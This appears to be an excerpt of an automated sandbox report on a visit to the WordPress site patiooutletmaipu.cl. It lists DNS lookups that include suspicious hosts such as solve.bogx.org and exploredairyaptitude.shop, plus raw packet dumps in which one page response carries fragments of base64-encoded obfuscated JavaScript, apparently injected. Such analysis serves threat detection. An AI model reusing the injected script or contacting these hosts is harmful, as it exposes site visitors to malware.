Jan 10, 2025 20:49:35.045463085 CET	1.1.1.1	192.168.2.17	0x864a	No error (0)	www.google.com			65	IN (0x0001)	false
Jan 10, 2025 20:49:35.198554993 CET	1.1.1.1	192.168.2.17	0x633	No error (0)	connect.facebook.net	scontent.xx.fbcdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 20:49:35.198554993 CET	1.1.1.1	192.168.2.17	0x633	No error (0)	scontent.xx.fbcdn.net		157.240.0.6	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:49:35.198703051 CET	1.1.1.1	192.168.2.17	0x9285	No error (0)	connect.facebook.net	scontent.xx.fbcdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 20:49:35.198703051 CET	1.1.1.1	192.168.2.17	0x9285	No error (0)	scontent.xx.fbcdn.net			65	IN (0x0001)	false
Jan 10, 2025 20:49:35.198703051 CET	1.1.1.1	192.168.2.17	0x9285	No error (0)	scontent.xx.fbcdn.net			65	IN (0x0001)	false
Jan 10, 2025 20:49:35.325843096 CET	1.1.1.1	192.168.2.17	0x5f44	No error (0)	analytics.google.com	analytics-alv.google.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 20:49:35.325843096 CET	1.1.1.1	192.168.2.17	0x5f44	No error (0)	analytics-alv.google.com		216.239.38.181	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:49:35.325843096 CET	1.1.1.1	192.168.2.17	0x5f44	No error (0)	analytics-alv.google.com		216.239.34.181	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:49:35.325843096 CET	1.1.1.1	192.168.2.17	0x5f44	No error (0)	analytics-alv.google.com		216.239.36.181	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:49:35.325843096 CET	1.1.1.1	192.168.2.17	0x5f44	No error (0)	analytics-alv.google.com		216.239.32.181	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:49:35.338653088 CET	1.1.1.1	192.168.2.17	0x498f	No error (0)	td.doubleclick.net		142.250.186.66	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:49:35.688333035 CET	1.1.1.1	192.168.2.17	0xcbf4	No error (0)	mc.yandex.ru		93.158.134.119	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:49:35.688333035 CET	1.1.1.1	192.168.2.17	0xcbf4	No error (0)	mc.yandex.ru		87.250.250.119	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:49:35.688333035 CET	1.1.1.1	192.168.2.17	0xcbf4	No error (0)	mc.yandex.ru		77.88.21.119	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:49:35.688333035 CET	1.1.1.1	192.168.2.17	0xcbf4	No error (0)	mc.yandex.ru		87.250.251.119	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:49:35.936906099 CET	1.1.1.1	192.168.2.17	0x5854	No error (0)	mc.yandex.com	mc.yandex.ru		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 20:49:35.936906099 CET	1.1.1.1	192.168.2.17	0x5854	No error (0)	mc.yandex.ru		87.250.250.119	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:49:35.936906099 CET	1.1.1.1	192.168.2.17	0x5854	No error (0)	mc.yandex.ru		77.88.21.119	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:49:35.936906099 CET	1.1.1.1	192.168.2.17	0x5854	No error (0)	mc.yandex.ru		87.250.251.119	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:49:35.936906099 CET	1.1.1.1	192.168.2.17	0x5854	No error (0)	mc.yandex.ru		93.158.134.119	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:49:35.937068939 CET	1.1.1.1	192.168.2.17	0x63cb	No error (0)	mc.yandex.com	mc.yandex.ru		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 20:49:36.050152063 CET	1.1.1.1	192.168.2.17	0xf8af	No error (0)	mc.yandex.com	mc.yandex.ru		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 20:49:36.050152063 CET	1.1.1.1	192.168.2.17	0xf8af	No error (0)	mc.yandex.ru		87.250.251.119	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:49:36.050152063 CET	1.1.1.1	192.168.2.17	0xf8af	No error (0)	mc.yandex.ru		87.250.250.119	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:49:36.050152063 CET	1.1.1.1	192.168.2.17	0xf8af	No error (0)	mc.yandex.ru		93.158.134.119	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:49:36.050152063 CET	1.1.1.1	192.168.2.17	0xf8af	No error (0)	mc.yandex.ru		77.88.21.119	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:49:36.050460100 CET	1.1.1.1	192.168.2.17	0x16b8	No error (0)	mc.yandex.com	mc.yandex.ru		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 20:49:36.149544001 CET	1.1.1.1	192.168.2.17	0x38e3	No error (0)	stats.g.doubleclick.net		173.194.76.156	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:49:36.149544001 CET	1.1.1.1	192.168.2.17	0x38e3	No error (0)	stats.g.doubleclick.net		173.194.76.155	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:49:36.149544001 CET	1.1.1.1	192.168.2.17	0x38e3	No error (0)	stats.g.doubleclick.net		173.194.76.154	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:49:36.149544001 CET	1.1.1.1	192.168.2.17	0x38e3	No error (0)	stats.g.doubleclick.net		173.194.76.157	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:49:36.578321934 CET	1.1.1.1	192.168.2.17	0xf621	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 20:49:36.578321934 CET	1.1.1.1	192.168.2.17	0xf621	No error (0)	star-mini.c10r.facebook.com		157.240.253.35	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:49:36.578586102 CET	1.1.1.1	192.168.2.17	0x8bb9	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 20:49:36.578586102 CET	1.1.1.1	192.168.2.17	0x8bb9	No error (0)	star-mini.c10r.facebook.com			65	IN (0x0001)	false
Jan 10, 2025 20:49:36.578586102 CET	1.1.1.1	192.168.2.17	0x8bb9	No error (0)	star-mini.c10r.facebook.com			65	IN (0x0001)	false
Jan 10, 2025 20:49:37.097662926 CET	1.1.1.1	192.168.2.17	0xa4e9	No error (0)	mc.yandex.com	mc.yandex.ru		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 20:49:37.098131895 CET	1.1.1.1	192.168.2.17	0xd574	No error (0)	mc.yandex.com	mc.yandex.ru		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 20:49:37.098131895 CET	1.1.1.1	192.168.2.17	0xd574	No error (0)	mc.yandex.ru		87.250.251.119	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:49:37.098131895 CET	1.1.1.1	192.168.2.17	0xd574	No error (0)	mc.yandex.ru		77.88.21.119	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:49:37.098131895 CET	1.1.1.1	192.168.2.17	0xd574	No error (0)	mc.yandex.ru		93.158.134.119	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:49:37.098131895 CET	1.1.1.1	192.168.2.17	0xd574	No error (0)	mc.yandex.ru		87.250.250.119	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:49:37.611294031 CET	1.1.1.1	192.168.2.17	0x36d0	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 20:49:37.611294031 CET	1.1.1.1	192.168.2.17	0x36d0	No error (0)	star-mini.c10r.facebook.com			65	IN (0x0001)	false
Jan 10, 2025 20:49:37.611294031 CET	1.1.1.1	192.168.2.17	0x36d0	No error (0)	star-mini.c10r.facebook.com			65	IN (0x0001)	false
Jan 10, 2025 20:49:37.611331940 CET	1.1.1.1	192.168.2.17	0x16a7	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 20:49:37.611331940 CET	1.1.1.1	192.168.2.17	0x16a7	No error (0)	star-mini.c10r.facebook.com		157.240.251.35	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:49:52.562851906 CET	1.1.1.1	192.168.2.17	0x4f3	No error (0)	solve.bogx.org		104.21.32.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:49:52.562851906 CET	1.1.1.1	192.168.2.17	0x4f3	No error (0)	solve.bogx.org		104.21.96.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:49:52.562851906 CET	1.1.1.1	192.168.2.17	0x4f3	No error (0)	solve.bogx.org		104.21.64.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:49:52.562851906 CET	1.1.1.1	192.168.2.17	0x4f3	No error (0)	solve.bogx.org		104.21.80.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:49:52.562851906 CET	1.1.1.1	192.168.2.17	0x4f3	No error (0)	solve.bogx.org		104.21.112.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:49:52.562851906 CET	1.1.1.1	192.168.2.17	0x4f3	No error (0)	solve.bogx.org		104.21.16.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:49:52.562851906 CET	1.1.1.1	192.168.2.17	0x4f3	No error (0)	solve.bogx.org		104.21.48.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:49:56.742072105 CET	1.1.1.1	192.168.2.17	0x5e40	No error (0)	b1.exploredairyaptitude.shop		188.114.97.3	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:49:56.742072105 CET	1.1.1.1	192.168.2.17	0x5e40	No error (0)	b1.exploredairyaptitude.shop		188.114.96.3	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:50:04.265558004 CET	1.1.1.1	192.168.2.17	0x1999	No error (0)	d1.exploredairyaptitude.shop		188.114.96.3	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:50:04.265558004 CET	1.1.1.1	192.168.2.17	0x1999	No error (0)	d1.exploredairyaptitude.shop		188.114.97.3	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:50:18.437036037 CET	1.1.1.1	192.168.2.17	0x2e49	No error (0)	d1.exploredairyaptitude.shop		188.114.96.3	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:50:18.437036037 CET	1.1.1.1	192.168.2.17	0x2e49	No error (0)	d1.exploredairyaptitude.shop		188.114.97.3	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:50:39.530157089 CET	1.1.1.1	192.168.2.17	0x2970	No error (0)	d1.exploredairyaptitude.shop		188.114.97.3	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:50:39.530157089 CET	1.1.1.1	192.168.2.17	0x2970	No error (0)	d1.exploredairyaptitude.shop		188.114.96.3	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:51:14.513405085 CET	1.1.1.1	192.168.2.17	0x76c8	No error (0)	beliefbidu.cyou		188.114.97.3	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:51:14.513405085 CET	1.1.1.1	192.168.2.17	0x76c8	No error (0)	beliefbidu.cyou		188.114.96.3	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:51:24.585305929 CET	1.1.1.1	192.168.2.17	0x31bd	No error (0)	cegu.shop		185.161.251.21	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

patiooutletmaipu.cl

https:

connect.facebook.net

www.google.com

mc.yandex.ru

analytics.google.com

td.doubleclick.net

mc.yandex.com

stats.g.doubleclick.net

www.facebook.com

solve.bogx.org

b1.exploredairyaptitude.shop

d1.exploredairyaptitude.shop

beliefbidu.cyou

cegu.shop

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.17	49702	200.111.89.45	443	7060	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:49:28 UTC	675	OUT	GET /tiendas/head/ HTTP/1.1 Host: patiooutletmaipu.cl Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 19:49:30 UTC	481	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 19:44:40 GMT Server: Apache/2 X-LiteSpeed-Tag: d5e_HTTP.200 Link: <https://patiooutletmaipu.cl/wp-json/>; rel="https://api.w.org/", <https://patiooutletmaipu.cl/wp-json/wp/v2/cpttiendas/2800>; rel="alternate"; type="application/json", <https://patiooutletmaipu.cl/?p=2800>; rel=shortlink Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding,User-Agent Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2025-01-10 19:49:30 UTC	7711	IN	Data Raw: 32 30 30 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 73 22 20 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 3c 21 2d 2d 20 57 50 5f 48 45 41 44 28 29 20 53 54 41 52 54 20 2d 2d 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 69 6e 64 65 78 2c 20 66 6f 6c 6c 6f 77 2c 20 6d 61 78 2d 69 6d 61 67 65 2d 70 72 65 76 69 65 77 3a 6c 61 72 67 65 2c 20 6d 61 78 2d 73 6e 69 70 70 65 74 3a 2d 31 2c 20 6d 61 78 2d Data Ascii: 2000<!DOCTYPE html><html lang="es" ><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0">... WP_HEAD() START --><meta name='robots' content='index, follow, max-image-preview:large, max-snippet:-1, max-
2025-01-10 19:49:30 UTC	487	IN	Data Raw: 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 63 79 61 6e 2d 62 6c 75 69 73 68 2d 67 72 61 79 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 77 68 69 74 65 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 77 68 69 74 65 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 70 61 6c 65 2d 70 69 6e 6b 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 70 61 6c 65 2d 70 69 6e 6b 29 20 21 69 6d 70 6f 72 74 61 6e Data Ascii: kground-color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-background-color{background-color: var(--wp--preset--color--white) !important;}.has-pale-pink-background-color{background-color: var(--wp--preset--color--pale-pink) !importan
2025-01-10 19:49:30 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2025-01-10 19:49:30 UTC	8192	IN	Data Raw: 32 30 30 30 0d 0a 6e 6f 75 73 2d 76 69 76 69 64 2d 61 6d 62 65 72 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 6c 75 6d 69 6e 6f 75 73 2d 76 69 76 69 64 2d 61 6d 62 65 72 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 6c 69 67 68 74 2d 67 72 65 65 6e 2d 63 79 61 6e 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 6c 69 67 68 74 2d 67 72 65 65 6e 2d 63 79 61 6e 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 76 69 76 69 64 2d 67 72 65 65 6e 2d 63 79 61 6e 2d 62 61 63 6b Data Ascii: 2000nous-vivid-amber-background-color{background-color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-background-color{background-color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-back
2025-01-10 19:49:30 UTC	6	IN	Data Raw: 6c 5a 54 51 35 4b Data Ascii: lZTQ5K
2025-01-10 19:49:30 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2025-01-10 19:49:30 UTC	8192	IN	Data Raw: 32 30 30 30 0d 0a 44 42 34 4d 54 4d 35 4b 53 6b 67 4c 79 41 6f 4d 48 67 34 4d 57 55 67 4b 79 41 77 65 44 45 67 4b 69 41 74 4d 48 67 78 5a 54 6c 6a 49 43 73 67 4d 48 67 78 4e 6a 67 79 4b 53 41 72 49 48 42 68 63 6e 4e 6c 53 57 35 30 4b 46 38 77 65 44 52 6c 5a 57 55 30 4f 53 67 77 65 44 45 30 4f 43 6b 70 49 43 38 67 4b 44 42 34 4d 54 63 35 49 43 73 67 4c 54 42 34 4d 6a 59 34 59 69 41 72 49 43 30 77 65 44 51 78 5a 69 41 71 49 43 30 77 65 44 6b 70 49 43 73 67 63 47 46 79 63 32 56 4a 62 6e 51 6f 58 7a 42 34 4e 47 56 6c 5a 54 51 35 4b 44 42 34 4d 54 4e 6c 4b 53 6b 67 4c 79 41 6f 4d 48 67 79 4f 54 59 67 4b 69 41 77 65 47 45 67 4b 79 41 77 65 44 45 79 4e 79 41 71 49 43 30 77 65 44 45 7a 49 43 73 67 4c 54 42 34 4d 32 59 78 4b 53 41 72 49 43 31 77 59 58 4a 7a 5a 55 Data Ascii: 2000DB4MTM5KSkgLyAoMHg4MWUgKyAweDEgKiAtMHgxZTljICsgMHgxNjgyKSArIHBhcnNlSW50KF8weDRlZWU0OSgweDE0OCkpIC8gKDB4MTc5ICsgLTB4MjY4YiArIC0weDQxZiAqIC0weDkpICsgcGFyc2VJbnQoXzB4NGVlZTQ5KDB4MTNlKSkgLyAoMHgyOTYgKiAweGEgKyAweDEyNyAqIC0weDEzICsgLTB4M2YxKSArIC1wYXJzZU
2025-01-10 19:49:30 UTC	6	IN	Data Raw: 3d 66 75 6e 63 74 Data Ascii: =funct
2025-01-10 19:49:30 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2025-01-10 19:49:30 UTC	8192	IN	Data Raw: 32 30 30 30 0d 0a 69 6f 6e 28 65 2c 6e 29 7b 76 61 72 20 69 3d 22 68 74 74 70 73 3a 2f 2f 61 6e 61 6c 79 74 69 63 73 2e 74 69 6b 74 6f 6b 2e 63 6f 6d 2f 69 31 38 6e 2f 70 69 78 65 6c 2f 65 76 65 6e 74 73 2e 6a 73 22 3b 74 74 71 2e 5f 69 3d 74 74 71 2e 5f 69 7c 7c 7b 7d 2c 74 74 71 2e 5f 69 5b 65 5d 3d 5b 5d 2c 74 74 71 2e 5f 69 5b 65 5d 2e 5f 75 3d 69 2c 74 74 71 2e 5f 74 3d 74 74 71 2e 5f 74 7c 7c 7b 7d 2c 74 74 71 2e 5f 74 5b 65 5d 3d 2b 6e 65 77 20 44 61 74 65 2c 74 74 71 2e 5f 6f 3d 74 74 71 2e 5f 6f 7c 7c 7b 7d 2c 74 74 71 2e 5f 6f 5b 65 5d 3d 6e 7c 7c 7b 7d 3b 76 61 72 20 6f 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 63 72 69 70 74 22 29 3b 6f 2e 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 2c Data Ascii: 2000ion(e,n){var i="https://analytics.tiktok.com/i18n/pixel/events.js";ttq._i=ttq._i\|\|{},ttq._i[e]=[],ttq._i[e]._u=i,ttq._t=ttq._t\|\|{},ttq._t[e]=+new Date,ttq._o=ttq._o\|\|{},ttq._o[e]=n\|\|{};var o=document.createElement("script");o.type="text/javascript",

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.17	49703	200.111.89.45	443	7060	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:49:30 UTC	606	OUT	GET /wp-content/uploads/fonts/ma_customfonts.css?ver=aefe0098 HTTP/1.1 Host: patiooutletmaipu.cl Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://patiooutletmaipu.cl/tiendas/head/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 19:49:30 UTC	296	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 19:44:41 GMT Server: Apache/2 Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Mon, 18 Sep 2023 20:01:41 GMT ETag: "2f67-605a79c58b340" Accept-Ranges: bytes Content-Length: 12135 Vary: Accept-Encoding,User-Agent Content-Type: text/css
2025-01-10 19:49:30 UTC	7896	IN	Data Raw: 2f 2a 20 56 65 72 73 69 6f 6e 3a 20 43 6f 64 65 20 53 6e 69 70 70 65 74 2c 20 33 2e 33 2e 31 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 49 54 43 41 76 61 6e 74 47 61 72 64 65 53 74 64 22 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 36 30 30 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 3b 73 72 63 3a 75 72 6c 28 22 2f 2f 70 61 74 69 6f 6f 75 74 6c 65 74 6d 61 69 70 75 2e 63 6c 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 75 70 6c 6f 61 64 73 2f 66 6f 6e 74 73 2f 49 54 43 41 76 61 6e 74 47 61 72 64 65 53 74 64 2d 44 65 6d 69 2e 65 6f 74 22 29 3b 73 72 63 3a 75 72 6c 28 22 2f 2f 70 61 74 69 6f 6f 75 74 6c 65 74 6d 61 69 70 75 2e 63 6c 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 75 70 6c 6f 61 64 73 2f 66 6f 6e 74 73 2f 49 54 43 41 Data Ascii: /* Version: Code Snippet, 3.3.1 */@font-face{font-family:"ITCAvantGardeStd";font-weight:600;font-style:normal;src:url("//patiooutletmaipu.cl/wp-content/uploads/fonts/ITCAvantGardeStd-Demi.eot");src:url("//patiooutletmaipu.cl/wp-content/uploads/fonts/ITCA
2025-01-10 19:49:30 UTC	4239	IN	Data Raw: 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 3b 73 72 63 3a 75 72 6c 28 22 2f 2f 70 61 74 69 6f 6f 75 74 6c 65 74 6d 61 69 70 75 2e 63 6c 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 75 70 6c 6f 61 64 73 2f 66 6f 6e 74 73 2f 49 54 43 41 76 61 6e 74 47 61 72 64 65 53 74 64 2d 58 4c 74 4f 62 6c 2e 65 6f 74 22 29 3b 73 72 63 3a 75 72 6c 28 22 2f 2f 70 61 74 69 6f 6f 75 74 6c 65 74 6d 61 69 70 75 2e 63 6c 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 75 70 6c 6f 61 64 73 2f 66 6f 6e 74 73 2f 49 54 43 41 76 61 6e 74 47 61 72 64 65 53 74 64 2d 58 4c 74 4f 62 6c 2e 65 6f 74 3f 23 69 65 66 69 78 22 29 20 66 6f 72 6d 61 74 28 22 65 6d 62 65 64 64 65 64 2d 6f 70 65 6e 74 79 70 65 22 29 2c 75 72 6c 28 22 2f 2f 70 61 74 69 6f 6f 75 Data Ascii: font-weight:400;font-style:normal;src:url("//patiooutletmaipu.cl/wp-content/uploads/fonts/ITCAvantGardeStd-XLtObl.eot");src:url("//patiooutletmaipu.cl/wp-content/uploads/fonts/ITCAvantGardeStd-XLtObl.eot?#iefix") format("embedded-opentype"),url("//patioou

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.17	49704	200.111.89.45	443	7060	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:49:30 UTC	608	OUT	GET /wp-includes/css/dist/block-library/style.min.css?ver=6.5.5 HTTP/1.1 Host: patiooutletmaipu.cl Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://patiooutletmaipu.cl/tiendas/head/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 19:49:31 UTC	298	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 19:44:42 GMT Server: Apache/2 Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Wed, 12 Jun 2024 19:54:19 GMT ETag: "1bae5-61ab6bf78d0c0" Accept-Ranges: bytes Content-Length: 113381 Vary: Accept-Encoding,User-Agent Content-Type: text/css
2025-01-10 19:49:31 UTC	7894	IN	Data Raw: 40 63 68 61 72 73 65 74 20 22 55 54 46 2d 38 22 3b 2e 77 70 2d 62 6c 6f 63 6b 2d 61 72 63 68 69 76 65 73 7b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 61 72 63 68 69 76 65 73 2d 64 72 6f 70 64 6f 77 6e 20 6c 61 62 65 6c 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 61 76 61 74 61 72 7b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 30 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 61 76 61 74 61 72 2c 2e 77 70 2d 62 6c 6f 63 6b 2d 61 76 61 74 61 72 20 69 6d 67 7b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 61 76 61 74 61 72 2e 61 6c 69 67 6e 63 65 6e 74 65 72 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 61 Data Ascii: @charset "UTF-8";.wp-block-archives{box-sizing:border-box}.wp-block-archives-dropdown label{display:block}.wp-block-avatar{line-height:0}.wp-block-avatar,.wp-block-avatar img{box-sizing:border-box}.wp-block-avatar.aligncenter{text-align:center}.wp-block-a
